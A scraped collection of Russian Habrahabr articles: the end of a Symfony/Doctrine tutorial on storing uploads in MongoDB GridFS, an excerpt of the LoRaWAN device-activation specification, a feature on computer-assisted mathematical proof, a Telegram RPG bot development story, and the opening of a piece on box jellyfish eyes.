* @ORM\Entity
*/
class Image
{
/**
* @ORM\Id
* @ORM\Column(type="integer")
* @ORM\GeneratedValue(strategy="AUTO")
*/
protected $id;
/**
* @ORM\Column(type="string", length=100)
*/
protected $name;
/**
* @ORM\Column(type="upload")
*/
protected $image;
public function getId()
{
return $this->id;
}
public function setName($name)
{
$this->name = $name;
}
public function getName()
{
return $this->name;
}
public function setImage($image)
{
$this->image = $image;
}
public function getImage()
{
return $this->image;
}
}
Если взглянуть на аннотацию @ORM\Column поля $image , то видно, что в параметр type достаточно добавить имя нашего типа UploadType ( «upload» ) и Доктрина будет использовать объект класса UploadType при чтении или записи в базу поля $image . Обработка формы
Обработка формы, которая была создана для нашей сущности Image примерно такая же, как и любая форма, основанная на сущности. Единственное дополнение заключается в том, что вы должны убедиться, что загруженный файл сохранился в GridFS и созданный документ Upload присвоен полю $image сущности Image . namespace Acme\DemoBundle\Controller;
use Dennis\UploadBundle\Document\Upload;
class ImageController extends Controller
{
public function newAction(Request $request)
{
// ...
$form->bind($request);
if ($form->isValid()) {
/** @var $upload \Symfony\Component\HttpFoundation\File\UploadedFile */
$upload = $image->getImage();
$document = new Upload();
$document->setFile($upload->getPathname());
$document->setFilename($upload->getClientOriginalName());
$document->setMimeType($upload->getClientMimeType());
$dm = $this->get('doctrine.odm.mongodb.document_manager');
$dm->persist($document);
$dm->flush();
$image->setImage($document);
$em = $this->getDoctrine()->getManager();
$em->persist($image);
$em->flush();
}
}
}
Если после успешного сохранения формы вы посмотрите в таблицу image , вы увидите, что была создана запись, в которой в поле image записан id документа Upload . Извлечение изображения из базы
Описанный ниже метод почти такой же, как метод showAction контроллера UploadController из предыдущей статьи . Единственное отличие — в том, что вы можете использовать репозиторий AcmeDemoBundle:Image для извлечения сущности Image, а затем извлечь документ Upload простым вызовом getImage(). Повторюсь, документ Upload будет извлечен из MongoDB и создан только при вызове метода getImage(). /**
* @Route("/{id}", name="image_show")
*/
public function showAction($id)
{
$image = $this->getDoctrine()->getManager()
->getRepository('AcmeDemoBundle:Image')
->find($id);
$response = new Response();
$response->headers->set('Content-Type', $image->getImage()->getMimeType());
$response->setContent($image->getImage()->getFile()->getBytes());
return $response;
}
На этом все! Теперь у нас есть собственный UploadType , который обрабатывает ссылки на документы Upload нашей сущности Image . Я убежден, что такой подход к созданию собственного класса Type обеспечивает легкий способ комбинирования ODM документов и ORM сущностей.
Единственный огромный недостаток — это то, что вам вручную нужно сохранять (persist()) документ перед сохранением сущности. Это точно не то, что хотелось бы повторять в каждом подобном контроллере с таким комбинированием. В своей следующей статье я попытаюсь побороть эту проблему. | https://habrahabr.ru/post/314966/ |
habrahabr | Спецификация LoRaWAN. Активация оконечных устройств | ['LoRa', 'LoRaWAN', 'lorawan base station', 'lpwan', 'iot', 'iiot', 'efo', 'ЭФО', 'lorawan specification', 'lorawan alliance'] | Продолжение. Спецификация LoRaWAN 1.0.2.
Начало: Спецификация LoRaWAN. Введение. Основные понятия и классы оконечных устройств
Чтобы присоединиться к сети LoRaWAN, оконечное устройство должно... | Продолжение. Спецификация LoRaWAN 1.0.2.
Начало: Спецификация LoRaWAN. Введение. Основные понятия и классы оконечных устройств
Чтобы присоединиться к сети LoRaWAN, оконечное устройство должно пройти процедуру активации (End-Device Activation). Спецификация предусматривает два варианта активации устройств: OTAA, Over-The-Air Activation (требуется пройти процедуру присоединения (join procedure), во время которой вырабатываются сессионные ключи шифрования и адрес DevAddr).
ABP, Activation By Personalization (не требуется проходить процедуру присоединения, ключи шифрования и адрес DevAddr записываются в устройство заранее (персонализация устройства))
После активации устройство должно содержать следующие значения: End-device address (DevAddr) — локальный адрес устройства в данной сети [32 бита]. DevAddr состоит из двух полей: NwkID (идентификатор сети, биты 31...25) и NwkAddr (сетевой адрес, биты 24...0).
Network session key (NwkSKey) — сетевой сессионный ключ [128 бит], используемый для расчета и проверки поля MIC (message integrity code) сообщений при обмене между оконечным устройством и сетевым сервером (Network Server), а также шифрования сообщений MAC-уровня.
Application session key (AppSKey) — сессионный ключ [128 бит], используемый для шифрования данных на уровне приложения (между оконечным устройством и сервером приложения).
Также устройство должно иметь идентификатор приложения [64 бита], который записывается заранее — Application identifier (AppEUI)
Активация «по воздуху» — Over-The-Air Activation
При активации OTAA оконечное устройство должно проходить процедуру присоединения к сети каждый раз, когда сессионная информация (локальный адрес DevAddr, ключи NwkSKey, AppSKey) в устройстве отсутствует или неактуальна. Перед процедурой присоединения в устройство должны быть записаны: End-device identifier (DevEUI) — уникальный идентификатор, который присваивается устройству в процессе производства [64 бита].
Application identifier (AppEUI) — уникальный идентификатор приложения [64 бита], который упоминался ранее.
Application key (AppKey) — ключ [128 бит], который используется в процессе присоединения к сети для получения сессионных ключей NwkSKey и AppSKey.
Процедура присоединения при активации OTAA
Процедура присоединения всегда инициируется оконечным устройством и состоит из двух сообщений, которыми обмениваются оконечное устройство и сетевой сервер: join request (устройство → сервер) и join accept (сервер → устройство).
Сообщение join request содержит AppEUI, DevEUI и случайное число DevNonce: Join Request
8 байт
8 байт
2 байта
AppEUI
DevEUI
DevNonce
Для каждого оконечного устройства сетевой сервер запоминает значения DevNonce, которые использовались раньше, и игнорирует запросы, содержащие повторяющиеся значения DevNonce.
В ответ на join request сервер посылает сообщение join accept. Join Accept
3 байта
3 байта
4 байта
1 байт
1 байт
16 байт
AppNonce
NetID
DevAddr
DLSettings
RxDelay
CFList
где: AppNonce — случайное число. NetID — идентификатор сети. DevAddr — адрес устройства в сети. DLSettings — параметры, используемые для нисходящих сообщений (сервер -> устройство). RxDelay — задержка между окончанием передачи оконечного устройства и началом окна приема Rx1 (что такое окна приема — см. Спецификация LoRaWAN. Введение. Основные понятия и классы оконечных устройств ). CFList — список дополнительных частотных каналов, которые могут использоваться оконечным устройством.
Поле DLSettings [8 бит] имеет следующий формат: DLSettings
7-й бит
биты 6...4
биты 3...0
RFU
RX1DRoffset
RX2 Data rate
где: RFU — Reserved for Future Use, не используется. RX1DRoffset — разница между скоростями (data rates) на восходящей и нисходящей линиях, используемая для первого окна приема Rx1. По умолчанию равна 0. RX2 Data rate — скорость, используемая для второго окна приема Rx2.
Случайные числа DevNonce и AppNonce используются при вычислении сессионных ключей NwkSKey и AppSKey . Активация путем персонализации — Activation By Personalization
«Активация путем персонализации» означает, что в устройство напрямую записываются значения DevAddr , NwkSKey и AppSKey (происходит персонализация устройства). Согласно спецификации, каждое устройство должно содержать уникальные значения сессионных ключей NwkSKey и AppSKey, чтобы компрометация этих значений, содержащихся в одном устройстве, не приводила к компрометации других устройств сети.
При таком способе активации оконечному устройству не нужно проходить процедуру присоединения к сети, сразу после включения устройство готово к передаче данных.
Ссылки по теме: Спецификация LoRaWAN. Введение. Основные понятия и классы оконечных устройств
Базовые станции Multi-Tech позволяют развернуть сеть LoRaWAN за пару кликов
Настраиваем шлюз LoRaWAN и создаем наше первое IoT-приложение
| https://habrahabr.ru/company/efo/blog/317218/ |
habrahabr | Можно ли доверять компьютерам? | ['математика'] |
Это простое выражение на языке математического ПО Maple проверяет формулу, подсчитывающую количество целочисленных треугольников с заданным периметром.
Шалош Б. Эхад, соавтор нескольких работ,... | Это простое выражение на языке математического ПО Maple проверяет формулу, подсчитывающую количество целочисленных треугольников с заданным периметром.
Шалош Б. Эхад, соавтор нескольких работ, опубликованных в уважаемых математических журналах, известен своими лаконичными доказательствами теорем и тождеств, ранее требовавших многих страниц математических рассуждений. В прошлом году, когда его попросили подтвердить формулу для количества целочисленных треугольников с заданным периметром, Эхад провёл 37 вычислений менее, чем за секунду, и выдал ответ: правильно.
Шалош Б. Эхад – это компьютер. Точнее, это любой из используемых математиком Дороном Зейлбергером компьютеров – от Dell в его офисе в Нью-Джерси, до австрийского суперкомпьютера, чьё время он иногда арендует. Название, означающее на иврите «три Б один», отсылает к AT&T 3B1, первой версии Эхада.
«Душа – это софт», говорит Зейлбергер, пишущий свой код при помощи популярного математического инструмента для программирования Maple. Дорон Зейлбергер
Усатый 62-летний профессор из Ратгерского университета, Зейлбергер находится в одном конце спектра мнений об использовании компьютеров в математике. Он указывает Эхада в качестве соавтора своих работ с конца 1980-х, «чтобы заявить, что компьютерам тоже должна доставаться заслуженная слава». Десятилетиями он сопротивляется человекоцентрическому фанатизму, присущему математикам: предпочтению доказательств, сделанных человеком на бумаге. Зейлбергер утверждает, что такие настроения завели прогресс в тупик. «И неспроста. Люди чувствуют, что потеряют работу».
Каждый, полагающийся на калькуляторы или электронные таблицы, может быть удивлён тем, что не все математики принимают компьютеры. Для многих из них программировать компьютер для доказательства тождества треугольников, или для решения задачи, ещё не решённой вручную, сродни изменению правил 3000-летней игры по ходу её действия. Поиск новых знаний о математической вселенной почти всегда требовал использования интуиции, творчества и толики гениальности – а не стука по клавишам. Именно необходимость избегать вычислений (из-за отсутствия компьютера) часто двигала прогресс, и приводила математиков к элегантным символьным техникам вроде матанализа. Для некоторых людей процесс открытия неожиданного, построения путей, ведущих к истине, и обнаружение в процессе новых математических объектов, сам по себе является не средством достижения цели, а целью.
Иначе говоря, нахождение доказательства, в котором компьютеры играют всё большую роль, не всегда является конечной целью математиков. «Многие математики считают, что создание теорий происходит с целью разобраться в математической вселенной», говорит Миньон Ким [Minhyong Kim], профессор математики из Оксфордского университета и Пхоханского университета науки и технологии в Южной Корее. Математики пытаются создать концептуальную платформу, определяющую новые объекты и выдвигающую новые гипотезы, а также доказывающую старые. Даже когда новая теория выдаёт важное доказательство, многие математики «чувствуют, что их больше интересует теория, чем доказательство», говорит Ким.
Компьютеры повсеместно используются для открытия новых гипотез через поиск закономерностей в данных или уравнениях, но они не могут выработать для них концепцию в рамках большей теории, как это делают люди. Компьютеры также пропускают процесс создания теории при доказательстве теорем, говорит Константин Телеман, профессор Калифорнийского университета в Беркли, не использующий в своей работе компьютеры. Он считает, что проблема в этом. «Чистая математика стремится не просто узнать ответ – ей нужно понимание,- говорит Телеман. – Если всё, что у вас есть, это компьютер, проверивший миллион случаев, это значит, что вы не смогли разобраться в задаче».
Зейлбегер не соглашается. Если люди могут понять задачу, то, по его мнению, задача тривиальна. В нескончаемых поисках математического прогресса человечество, по его мнению, теряет хватку. Интуитивные озарения и абстрактное мышление дали нам фору, но в результате логика нулей и единиц, управляемая программистами, перегонит наше концептуальное понимание, как это случилось в шахматах.
«Большую часть того, что делают люди, через 20-30 лет с лёгкостью будут делать компьютеры», говорит Зейлбергер. «Для некоторых разделов математики это уже случилось. Множество публикуемых работ, выполненных людьми, уже устарели и могут быть выполнены компьютерами. Некоторые сегодняшние задачи абсолютно неинтересны, но их делают, потому что они доступны людям».
Зейлбергер и другие пионеры вычислительной математики чувствуют, что из взгляды за последние пять лет превратились из радикальных в достаточно общепринятые. Традиционные математики уходят на пенсию, и эстафету принимает технологическое поколение. В это время компьютеры стали в миллионы раз мощнее по сравнению с первыми компьютерами, появившимися на математической сцене в 1970-х, а также появилось без счёта новых умных алгоритмов и удобного софта. И что более важно, по мнению экспертов, современная математика всё более усложняется. На фронтах некоторых областей исследования доказательства, сделанные людьми вручную, уже занесены в красную книгу.
«То время, когда некто мог делать настоящие математические исследования, достойные публикации, без использования компьютера, заканчивается», говорит Дэвид Бэйли [David Bailey], математик и специалист по информатике из Национальной лаборатории им. Лоуренса Бэркли, и автор нескольких книг по вычислительной математике. «А если вы этим занимаетесь, вы всё сильнее ограничиваете себя в определённых сильно специализированных областях». Константин Телеман
Телеман изучает алгебраическую геометрию и топологии – в этих областях большинство исследователей сегодня не обходятся без компьютеров, как и в других подмножествах областей математики, связанных с алгебраическими операциями. Он концентрируется на проблемах, которые всё ещё можно решить без компьютера. «Занимаюсь ли я этой математикой потому, что не могу использовать компьютер, или же потому, что это лучшее из того, что я могу делать? Хороший вопрос». Несколько раз за свою 20-летнюю карьеру Телеман хотел бы, чтобы он умел программировать и смог подсчитать решение задачи. И каждый раз он решал потратить три месяца, которые, по его мнению, требуются для изучения программирования, на ручное решение. Иногда, по его словам, он «не касается подобных вопросов или даёт их студенту, умеющему программировать».
Если сегодня заниматься математикой без компьютера всё равно, что «бежать марафон без обуви», как обозначила это Сара Биллей [Sara Billey] из Вашингтонского университета, математическое сообщество разделилось на две толпы бегущих.
Использование компьютера распространено, но ещё не достаточно общепризнанно. Бэйли считает, что исследователи часто принижают значение вычислительных аспектов своей работы в публикуемых исследованиях, возможно, чтобы избежать ненужного трения. И хотя компьютеры производят выдающиеся результаты аж с 1976 года, у студентов и аспирантов математических факультетов всё ещё не требуют изучения программирования в рамках основного обучения. Математические факультеты, по словам исследователей, ведут себя консервативно в вопросах изменения учебных планов, а ограничения бюджета могут помешать введению новых курсов. Вместо этого студенты часто сами набираются знаний по программированию, в результате их код получается запутанным и сложным для проверки.
Что ещё хуже, по мнению исследователей, так это отсутствие чётких правил использования компьютеров в математике. «Всё больше математиков учатся программировать; но стандарты проверки программы и установления факта её правильной работы – ну, их нет», говорит Джереми Авигад, философ и математик в университете Карнеги-Меллон.
В декабре Авигад, Бэйли, Билей и десятки других исследователей встретились в Институте вычислительных и экспериментальных исследований в математике, чтобы обсудить стандарты надёжности и воспроизводимости результатов. Из множества проблем возник один общий вопрос: в поисках финальной истины насколько мы можем доверять компьютерам? Компьютеризированная математика
Математики используют компьютеры по-разному. Один из способов: доказательство измором. Доказательство описывается так, что утверждение верно, если оно выдерживает большое, но конечное количество проверок. Затем пишется программа, проверяющая все эти случаи.
Чаще компьютеры помогают обнаруживать интересные последовательности в данных, по которым математики затем формулируют гипотезы или просто догадки. «Я очень многого достиг, просто выискивая закономерности в данных и доказывая их», говорит Билей.
Использование вычислительной техники для проверки правильности гипотезы во всех возможных случаях, и последующее убеждение в этом, «даёт вам психологическую мотивацию для того, чтобы проделать всю работу, необходимую для получения доказательства гипотезы», говорит Джордан Элленберг, профессор из Висконсинского университета, использующий компьютеры для поиска гипотез, и затем создающий доказательства вручную.
Всё чаще компьютеры не только помогают искать гипотезы, но и доказывать их. Платформы для доказательства теорем, такие, как Z3 от Microsoft, могут проверять определённые типы утверждений, или быстро находить опровергающий их контрпример. Такие алгоритмы, как метод Уилфа-Цейльбергера (изобретённый Дороном Цейльбергером и Гербертом Уилфом в 1990) может проводить символьные вычисления, работать с переменными вместо чисел и выдавать точные результаты без ошибок округления.
С имеющимися сегодня вычислительными мощностями такие алгоритмы решают задачи, ответы которых выглядят как алгебраические выражения с десятками тысяч членов. «А затем компьютер упрощает это выражение до 5-10 членов,- говорит Бэйли. – Человек не только не смог бы этого сделать, он не смог бы сделать это без ошибок».
Но и компьютерные программы ошибаются – из-за того, что их пишут люди. Ошибки кода и сложности с их поиском иногда заставляли математиков идти на попятный.
Телеман вспоминает, что в 1990-х специалисты по теоретической физике предсказали наличие «красивого ответа» на вопрос о поверхностях высшего порядка, относящихся к теории струн. Когда математики написали компьютерную программу для проверки гипотезы, они обнаружили, что она неверна. «Но программисты ошиблись, а физики действительно были правы,- говорит Телеман. – Это самая большая опасность использования компьютерных доказательств: что, если в них есть ошибка?».
Этот вопрос занимает Джона Хэнке [Jon Hanke]. Специалист по теории чисел и опытный программист, Хэнке считает, что математики привыкли чрезмерно доверять инструментам, которые ещё недавно не одобряли. Он считает, что ПО нельзя доверять, и нужно постоянно проверять. Но большую часть софта, используемого математиками, проверить нельзя. У самых популярных инструментов для математического программирования, Mathematica, Maple и Magma, стоящих по $1000 за профессиональную лицензию, код закрыт. И пользователи уже сталкивались с ошибками в каждом из них.
«Когда Magma выдаёт мне ответ 3,765, откуда я знаю, что он правильный? – задаётся вопросом Хэнке. – Я не знаю. Мне приходится ей доверять». Если математики хотят поддерживать давнюю традицию, по которой можно проверить каждый этап доказательства, то, по мнению Хэнке, они не могут использовать ПО с закрытым кодом.
Есть бесплатная альтернатива с открытым кодом, Sage, но в большинстве случаев она проигрывает по мощности. Она могла бы догнать конкурентов, если бы над её разработкой трудилось больше математиков, как над Википедией, говорит Хэнке – но академических побуждений к этому практически нет. «Я написал кучу ПО для квадратичных форм на C++ и Sage, и использовал их для доказательства теоремы», говорит Хэнке. «И вся эта работа над открытым кодом не получила признания». После закрытия возможности работы на постоянной должности в штате Университета Джорджии в 2011 году, Хэнке ушёл из науки в финансы.
Хотя многие математики осознают необходимость срочного появления новых стандартов, одну проблему они решить не смогут. Проверка чужого кода занимает время, и люди могут не захотеть этим заниматься. «Это как искать ошибку в коде, выполняющемся на твоём iPad,- говорит Телеман. – Кто её будет искать? Сколько пользователей iPad занимаются исследованием кода?»
Некоторые математики видят только один выход: использование компьютеров для пошагового доказательства теорем, с применением холодной и чёткой настоящей логики. Доказательство доказательства
В 1998 Томас Хэйлс [Thomas Hales] удивил мир, использовав компьютер для решения 400-летней гипотезы Кеплера. Она утверждает, что наиболее плотным методом упаковки шаров является метод хранения, используемый для апельсинов – упаковка под названием гранецентрированная кубическая упаковка. Она известна всем уличным торговцам, но ни один математик не мог этого доказать. Хэйлс решил задачу, обозначив сферы как вершины графа, и соединив их рёбрами. Он уменьшил бесконечное количество возможностей до списка из нескольких тысяч наиболее плотных графов и провёл «доказательство измором». «Затем мы использовали линейное программирование, чтобы показать, что ни одна из возможностей не была контрпримером», говорит Хэйлс, математик в Питтсбургском университете. Иначе говоря, ни один из графов не оказался более плотным, чем граф, соответствовавший упаковке апельсинов в ящике. Доказательство состоит из 300 страниц текста и 50000 строк кода.
Хэйлс отправил доказательство в Annals of Mathematics, самый престижный журнал, в результате чего через четыре года рецензенты сообщили, что не смогли подтвердить правильность его кода. В 2005 году журнал опубликовал сокращённую версию доказательства на основе уверенности в правильности письменной части доказательства.
Согласно Петеру Сарнаку, математику из Института передовых исследований, до января работавшего редактором Annals of Mathematics, проблемы, вскрытые доказательством Хэйлса, неоднократно появлялись за последние 10 лет. Зная, что в будущем доказательства с помощью компьютера будут появляться всё чаще, совет редакторов решил прислушиваться к таким доказательствам. «Однако в тех случаях, когда код очень сложно проверить в одиночку, мы не будем делать заявлений о его правильности,- писал Сарнак. – Мы надеемся, что в случае достаточно важных результатов другие люди напишут сходный, но независимый код, и проверят сделанные утверждения».
По мнению коллег Хэйлса, его ответ на дилемму рецензентов может изменить будущее математики. «Том – удивительный человек. Он ничего не боится,- говорит Авигад. – Узнав, что у людей возникли сомнения по поводу его доказательства, он сказал, 'ОК, следующая задача – создать формально проверенную версию доказательства'. У него не было никакого опыта в этой сфере, и он начал общаться со специалистами по информатике и учиться тому, как это делается. И сейчас этому проекту до завершения осталось несколько месяцев».
Чтобы показать безупречность доказательства, Хэйлс считает необходимым воссоздать его с использованием основных элементов математики – логики и аксиом. Такие очевидные вещи, как х = х, служат набором правил для математиков, так же, как грамматика управляет языком. Хэйлс вознамерился использовать технику под названием «подтверждение формального доказательства», в которой компьютерная программа использует логику и аксиомы для оценки каждого шага доказательства. Процесс может быть медленным и кропотливым, но в качестве награды вы получаете уверенность. Компьютер «ничего вам не прощает», говорит Авигад, формально проверивший теорему о простых числах в 2004. «Он следит за всем, что вы делаете. Он напоминает вам, что есть ещё какой-то случай, который нужно учесть».
Подвергнув своё доказательство гипотезы Кеплера этому тесту, Хэйлс надеется устранить все сомнения. «Сейчас всё выглядит многообещающе», говорит он. Но это не единственная его миссия. Он также служит авангардом технологии формальных доказательств. С распространением компьютерных доказательств, которые невозможно проверить вручную, Хэйлс считает, что оценивать доказательства должны сами компьютеры. «Думаю, формальные доказательства совершенно необходимы для будущего развития математики», говорит он. Альтернативная логика
Три года назад Владимир Воеводский, один из организаторов новой программы по основаниям математики в Институте передовых исследований в Принстоне, открыл, что систему формальной логики под названием «теория типов», разрабатываемая специалистами по информатике, можно использовать для воссоздания с нуля всей математической вселенной. Теория типов соответствует математическим аксиомам, но выражается компьютерным языком. Воеводский считает, что этот иной путь формализации математики, который он назвал унивалентными основаниями математики, поставит на поток процесс доказательства формальных теорем.
Воеводский с командой адаптируют программу Coq, разработанную для формального подтверждения алгоритмов, к использованию в абстрактной математике. Пользователь предлагает тактику или логически непротиворечивые действия, которые компьютер должен применять для проверки правильности одного шага доказательства. Если тактика подтверждает шаг, пользователь предлагает следующую, для оценки следующего шага. «Так что доказательство становится последовательностью названий тактик», говорит Воеводский. С улучшениями технологии и с усложнением тактик схожие программы когда-нибудь смогут рассуждать наравне с людьми, или даже превосходить их.
Некоторые исследователи считают это единственным решением проблемы усложнения математики.
«Подтверждение работы сравнялось по сложности с написанием работы,- говорит Воеводский. – За написание вы получаете награду – например, повышение – но никто не получает наград за проверку чужой работы. Так что мы мечтаем, что работа будет поступать в журнал вместе с файлом, написанным на этом формальном языке, и рецензенты просто будут проверять утверждение теоремы и его ценность для читателей».
Формальное доказательство теорем пока используется редко, но некоторые исследователи считают, что это изменится с улучшением адаптации Воеводским программы Coq. Хэйлс представляет себе будущее, в котором компьютеры так навострились вести рассуждения на высоком уровне, что могут доказывать большие куски теорем с минимальным участием со стороны человека, или вообще без него.
«Может, он прав, может, и нет,- говорит Элленберг о предсказаниях Хэйлса. – Он однозначно самый думающий и знающий из всех людей, продвигающих эту идею». Элленберг, как и многие его коллеги, видят более важные роли людей в будущем своей области: «Мы очень хорошо умеем понимать те вещи, что не могут понять компьютеры. Если мы представим себе будущее, в котором все известные нам теоремы можно решить на компьютере, мы просто представим себе другие вещи, которые на компьютере решить будет нельзя, и это и будет математикой».
Телеман не знает, чего ждать от будущего, но знает, какая математика нравится ему более других. Решение задач человеческим способом, с его элегантностью, абстракциями и сюрпризами, доставляет ему больше удовольствия. «В том, что мы прибегаем к компьютерным доказательствам, есть что-то от поражения. Мы не можем этого сделать, поэтому пусть компьютер поработает».
Даже самый пылкий фанат компьютеров среди математиков признаёт наличие трагедии в том, чтобы сдаться превосходящей логике Шалоша Б. Эхада, и принять роль поддерживающего звена в поисках математической истины. Это же всего лишь люди. «Я получаю удовлетворение от того, что понимаю в доказательстве всё от начала до конца,- говорит Зейлбергер. – С другой стороны, это жизнь. А жизнь – сложная штука». | https://geektimes.ru/post/283806/ |
habrahabr | История одного бота | ['telegram', 'telegram bots', 'python3', 'python', 'история', 'bot', 'telegram messenger', 'процесс разработки', 'история создания'] | Всем привет! Последние 4 месяца я занят разработкой некоммерческого бота для Telegram. Сейчас в него ежедневно играет от одной до четырех сотен людей и для меня это большой успех. Если вам... | Всем привет! Последние 4 месяца я занят разработкой некоммерческого бота для Telegram. Сейчас в него ежедневно играет от одной до четырех сотен людей и для меня это большой успех. Если вам интересна история разработки, то прошу под кат. Начало Немного об обстоятельствах, которые толкнули меня на это. Играясь в @godnotbot (кстати, рекомендую) захотелось создать свою текстовую бродилку с подземельями и драконами. Определившись, что это будет текстовая РПГ в Telegram, я задумался над тем, что будет внутри этой РПГ. А внутри было схожее с годноботом решение — случайные комнаты или ситуации. Нажми на кнопку, получишь новую комнату. Ко всему прочему, были боги, которые давали различные бонусы за молитвы и злились, когда от них уходили в другую веру. А также, магазин, где продаётся всякого рода барахло облегчающее ваш путь к неизбежной смерти. С концептом разобрались, теперь нужно было делать. Для разработки я выбрал Python. Почему? А почему бы нет — ботов на нем написано уже много, да и язык приятный. Завязка В итоге на свет появился простенький бот с чуть более, чем десятком комнат. Самого бота теперь можно всегда найти здесь . Детище было показано всем друзьям и на этом его история чуть не закончилась. Игра была спасена от забвения внезапной мыслью: а было бы неплохо показать кому-нибудь ещё. У друга взял покататься VPS, настроил настройки, и запустил бота в бесконечный цикл. После чего на скорую руку сваял группу в ВК и написал пост на Пикабу. Сам того не зная, как мне объяснили позже, я выбрал время для поста настолько хорошо, что поймал всю свою аудиторию и в первый день познакомиться с ботом пришли 3,000 человек. Это было круто. Но тут же возникли проблемы. Ситуация первая Telegram не разрешит вам отправлять очень много сообщений. Но “много” у всех разное. Есть ограничения на сообщения в минуту в приватный чат, группу, на общее количество сообщений в день, в секунду во все чаты. Как это работает точно и точные числа неизвестны. Да, на сайте есть про это три абзаца, но на деле все сводится к тому, что есть пределы, вы можете их нарушать, но никто не знает, что тогда произойдет. Поэтому я поставил ограничение на отправку 30 сообщений в секунду и все ошибки ушли. Но в час-пик пользователям иногда приходилось ждать своих сообщений дольше десяти секунд. Написал в саппорт, что не можем это терпеть. Спустя несколько дней там сказали, что нужно написать в саппорт по ботам. Саппорт по ботам, спустя еще несколько дней вынес вердикт: живи с этим, ничего не поделать. Порекомендовали ещё использовать inline кнопки, но этот вариант меня не устраивал — тогда будет теряться история сообщений. В итоге пришлось остаться на тридцати сообщениях в секунду и на этом остановиться. Ситуация вторая Проект был полностью открытым (и остается таким до сих пор! Вот исходный код ) и это сыграло важную роль в развитии проекта — люди начали помогать: присылать свои идеи, править код, рисовать для бота. А главное, появилось несколько волонтеров, которые на постоянной основе помогают с ботом до сих пор. Это Андрей , Владислав и Алексей (так же хотелось бы отметить Эрика , он так же всегда помогал мне с ботом, хоть и немного не там, где это делали все остальные (: ). А еще чуть позже для всей игры был нарисован свой стикерпак (Спасибо Алексею за этот труд). Этим абзацем я хочу заметить, что если вы не жадина и не боитесь кражи кода, то можно просить помощи у вашего же комьюнити и, скорее всего, вам помогут. А если вы думаете, что ваш код кому-то нужен — не волнуйтесь, вы наберете большую аудиторию, чем люди, укравшие у вас код (хотя может не повезет и все пойдет наперекосяк, но это значит, что либо вы где-то повернули не туда, либо вор инвестирует в клона большие деньги. Но идею у вас все равно всегда смогут украсть). Сюжет Идей уйма, пользователи есть, процесс идет, что дальше? Дальше мы задумываемся о переводе своего продукта на самообеспечение. Не долго думая, я организовал добровольные пожертвования на Яндекс.Деньгах и, собственно, на этих деньгах бот живет до сих пор, и это греет душу. В ноябре на связь вышла поддержка, напомнив об ограничениях по количеству сообщений и предложила частично их снять, в качестве исключения популярному боту. Теперь мы можем моментально отвечать в обход ограничений (если команда Telegram пожелает, она всегда может вернуть их нам). Мы сняли режим очереди в коде, но позже обнаружили, что ограничения никуда не делись. Поддержка ответила, что моментально можно отвечать только короткими сообщениями, то есть менее 500 символов. Грустно, но правила диктуем не мы. А прямо сейчас мы вместе с комьюнити переводим бота на английский язык. Там свыше 1,800 фраз, некоторые из которых длинные, а некоторые нельзя просто так перевести. Например: "ЗА ВДВ!". Сейчас игра полностью переведена и находится у редактора на корректировании. Развязка Что я хотел? Тектовое РПГ в телеграме. Что я получил? Бота, в которого каждую неделю играет тысяча человек, в которого убивают время в пробках, и 4 месяца разработки с веселыми людьми, а также интересные знакомства. А пока готовимся к переводу, выпуску бота в веб и внедрению масштабной мультиплеерной системы (: Что из этого выйдет? Кто знает… Если вам будет интересна эта тема, то в следующем посте будут описания проблем в самой разработке и о механизмах работы игры (можно задать вопросы для следущего поста, если есть такие). Самого бота можно найти вот здесь . | https://habrahabr.ru/post/317834/ |
habrahabr | Физика в мире животных: кубомедузы и их глаза | ['медузы', 'животные', 'морские животные', 'глаза', 'эволюция'] |
Tripedalia cystophora. Источник: DOI:10.1371/journal.pone.0098870
Многие из нас считают медуз примитивнейшими существами, которые не слишком отличаются по сложности строения от слизи, на... |
Tripedalia cystophora. Источник: DOI : 10.1371/journal.pone.0098870
Многие из нас считают медуз примитивнейшими существами, которые не слишком отличаются по сложности строения от слизи, на которую они похожи. Но это не совсем так. Медузы — неплохо организованные существа, их множество видов, среди которых встречаются просто удивительные создания. Например, португальский кораблик — этот вид эволюционировал долгое время, прежде, чем принять современную форму. Правда, кораблик — это не совсем медуза, а вид колониальных гидроидных из отряда сифонофор, колония которого состоит из полипоидных и медузоидных особей. Ученым известны и гигантские медузы, появление которых поблизости вызывает трепет у человека.
Но есть еще более удивительный вид медуз, который, на первый взгляд, ничем особенным не отличается. Речь идет о кубомедузах. Достаточно внимательно присмотреться, и сразу станет понятно, что даже поведение этой медузы отличается от поведения прочих книдарий . А один из органов и вовсе радикально отличается от всего, чем могут похвастаться прочие виды этих живых организмов.
Кубомедузы, или коробкообразные медузы плавают особенным образом. В воде их поведение очень активно, оно больше напоминает поведение рыб, чем медуз. Речь идет как о целенаправленном движении в определенную сторону, так и о проявлении быстрой реакции на определенные раздражители. Это небольшая группа книдарий, которая включает около 20 видов, населяющих тропические и тёплые умеренные моря с океанической солёностью. Строение колокола
При внимательном рассмотрении становится понятно, в чем тут дело. Их отличает форма колокола, имеющая в сечении прямоугольную форму. Внутреннее пространство ограничено лишь мускулистой складкой края колокола. Движение медузы обуславливается быстрым сокращением мускулатуры колокола, в результате чего из-под купола выбрасывается довольно много воды мощной струей, которая и толкает медузу в противоположную сторону. Интересно то, что мускулатура колокола позволяет не только усиливать реактивную струю, но и направлять ее в разные стороны. Глаза медуз
Но интереснее всего даже не принцип реактивного движения этих медуз, а их сенсорный аппарат. Дело в том, что каждая из четырех сторон купола «оснащена» сенсорным органом, который называется «ропалий». Выглядит эта система, как пучок из глаз разного размера. И это на самом деле глаза, а не просто похожие на глаза выросты. Особенно похожими на глаза высших животных у кубомедуз выглядят два типа глаз. Ранее ученые не понимали, в чем предназначение этих органов, хотя и пытались прояснить функцию каждого. Не так давно специалисты выяснили, что это действительно глаза, хотя и несколько специфические. Дело в том, что изображение, получаемое глазом, фиксируется на сетчатке не слишком точно.
И это вряд ли недостаток, упущение природы. Дело в том, что у глаз кубомедузы имеет точный градиент показателя преломления, что позволяет медузе получать практически безаберрационное изображение. По мнению некоторых специалистов, это в очередной раз подтверждает мысль, что некоторые «изобретения» в природе появляются у самых разных видов в результате параллельной эволюции, без всякого родства видов.
У глаз медуз есть ряд характеристик, которые делают их похожими на глаза гораздо более сложноорганизованных животных и человека. Так, здесь можно выделить роговицу, хрусталики, сетчатку, пигментный слой и радужную оболочку. Хрусталики очень малы, их диаметр составляет около 0,1 мм, они симметричны. Они позволяют медузам получать хорошую «картинку» окружающего пространства, хотя, как и говорилось выше, здесь есть определенный градиент показателя преломления. Эта особенность медуз обусловлена необычной плотностью упаковки специальных кристаллиновых белков.
